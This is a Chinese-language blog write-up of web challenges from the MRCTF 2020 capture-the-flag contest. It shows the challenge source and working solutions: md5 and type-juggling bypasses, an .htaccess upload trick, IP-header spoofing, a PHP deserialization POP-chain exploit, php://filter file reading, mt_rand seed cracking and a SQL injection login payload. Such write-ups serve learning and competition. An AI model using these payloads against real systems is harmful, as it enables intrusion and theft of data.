MRCTF 2020 Web wp

M

北邮新生赛,纪念一下 Nep 登顶(大佬们都是单人打,就我们不要脸的组了个队) 23333

ez_bypass

直接给了源码:

<?php
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg']) &amp;&amp; isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) &amp;&amp; $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                if($passwd==1234567)
                {
                    echo 'Good Job!';
                    highlight_file('flag.php');
                    die('By Retr_0');
                }
                else
                {
                    echo "can you think twice??";
                }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
    }
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
?>

先要绕一个 md5,直接上数组大法,后面接一个弱类型判断,1234567a 即可绕过。

你传你🐎呢

前端写的非常考究

文件上传,简单测试了一下不能传 php、phtml 等等后缀,但是好像可以传 .htaccess,更换服务器解析方式直接一把梭:

PYwebsite

一个用来 py flag 的网站,打钱的二维码是假的,而授权码提交之后抓不到包,看一下 js:

<script>
    function enc(code){
      hash = hex_md5(code);
      return hash;
    }
    function validate(){
      var code = document.getElementById("vcode").value;
      if (code != ""){
        if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
          alert("您通过了验证!");
          window.location = "./flag.php"
        }else{
          alert("你的授权码不正确!");
        }
      }else{
        alert("请输入授权码");
      }
    }
  </script>

验证完成之后跳转到 flag.php,我们直接访问就好:

鬼才信他有后台验证,但是描述中说他自己可以看到 flag,构造 xff 头绕过:

最后 flag 字体是白色的,需要框选一下

Ezpop

反序列化题目,需要自己审计构造 pop 链:

<?php
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

这个题目比较有意思,首先我们先找能读 flag 的点(终点),Test 类可以返回一个可执行函数,看起来很美好,但是实际上不能传参不能套娃的函数利用价值不大;Show 类基本没有能利用的点,而Modifier 类脸上就有一个闪闪发光的可控 include,配合伪协议可以读文件,因此就从这个类作为 pop 链重点;其次 __invoke 的触发条件是我调我自己,也就是说如果 $a 是 Modifier 类,需要进行 $a() 操作才会触发,正好 Test 类的 __get 方法可以满足这一要求;而调用 __get 需要调用一个不存在的变量,这时候肯定就轮到 show 类出场了;这里还需要稍微构造一下,因为单单一个 this->source 并不能触发 __get(因为 this 不是 Test 类),所以需要 show 稍微套个娃,让 show->source 成为一个新的 show 类,这样在 preg_match 时触发 __toString,将第二个 show 类的 str 定义为上文的 Test 类,exp:

<?php
// Author : imagin
// Blog : https://imagin.vip
// Filename : exp.php

$a = new Test();
$b = new Modifier();
$a->p = $b;
$show1 = new Show();
$show2 = new Show();
$show1->source = $show2;
$show2->str = $a;
echo urlencode(serialize($show1));

Note:跟 Knight 师傅讨论了一下,经过测试发现 php7.1+ 对于类反序列化的属性关键字不敏感,由于环境实在是难搞,只测了 5.6.23 7.0.10 7.1.2 7.1.23 7.3.14 这几个版本,发现只要版本大于 7.1.2 就有和这个特性,测试代码:

<?php
class A{
    protected $a;
    public function __destruct(){
        echo $this->a;
    }
}
$a='O%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A8%3A%22it+is+ok%22%3B%7D';

$b = unserialize(urldecode($a));
var_dump($b);
phpinfo();

套娃

查看源码有php源码:

$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' &amp;&amp; preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}

QUERY_STRING 里不能有下划线和 %5f,但是这里就禁了小写的 5f,f 大写就可以绕过(有师傅告诉了个新姿势, . 会被 php 解析成下划线,学到了),其次绕过头尾固定的正则,直接在最后加个 %0a:

告诉我们一个新的地址,查看源码发现有 jsfuck 编码,复制下来放到 console 里执行:

post 过去对应的键,得到源码:

<?php
// secrettw.php
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
	highlight_file(__FILE__); 
	die(); 
} 


function change($v){ 
	$v = base64_decode($v); 
	$re = ''; 
	for($i=0;$i<strlen($v);$i++){ 
		$re .= chr ( ord ($v[$i]) + $i*2 ); 
	} 
	return $re; 
}

echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
	echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' &amp;&amp; file_get_contents($_GET['2333']) === 'todat is a happy day' ){
	echo "Your REQUEST is:".change($_GET['file']);
	echo file_get_contents(change($_GET['file'])); 
}

首先要伪造下 ip,xff 不行(本次比赛已经考过一次),那就用 client-IP,之后用 data 协议绕过 file_get_contents,最后 filter 伪协议可以读源码,但是要稍微逆向一下 change 函数(+ 改成 – 就行),脚本:

function encode($e){
	$convert = "";
	for($i = 0; $i < strlen($e); $i++){
		$convert .= chr ( ord ($e[$i]) - $i*2 );
	}
	return base64_encode($convert);
}

$a = encode('php://filter/read=convert.base64-encode/resource=flag.php');
echo change($a);

最后的请求:

Ezaudit

御剑扫不到备份的文件,后来师傅告诉了才知道有 www.zip,下载源码审计:

<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
    $Private_key = $_POST['Private_key'];
    if (($username == '') || ($password == '') ||($Private_key == '')) {
        // 若为空,视为未填写,提示错误,并3秒后返回登录界面
        header('refresh:2; url=login.html');
        echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
        exit;
}
    else if($Private_key != '*************' )
    {
        header('refresh:2; url=login.html');
        echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
        exit;
    }

    else{
        if($Private_key === '************'){
        $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; 
        $link=mysql_connect("localhost","root","root");
        mysql_select_db("test",$link);
        $result = mysql_query($getuser);
        while($row=mysql_fetch_assoc($result)){
            echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
        }
    }
    }

} 
// genarate public_key 
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }

  //genarate private_key
  function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
  $Public_key = public_key();
  //$Public_key = KVQP0LdJKRaV3n9D  how to get crispr's private_key???

看出来要登录需要破解密钥,看了看生产密钥的两个函数,猜测是用同一个随机数生成的,用 php_mt_seed 爆破一下:

得到种子后发现不能直接利用23333,需要先生成一个公钥再生产私钥,才能得到正确的私钥,之后登陆的点有个简单的注入,稍微绕一下,最后的payload:

login=1&amp;username=admin&amp;password='or'1'='1&amp;Private_key=XuNhoueCDCGc

Imagin 丨 京ICP备18018700号-1


Your sidebar area is currently empty. Hurry up and add some widgets.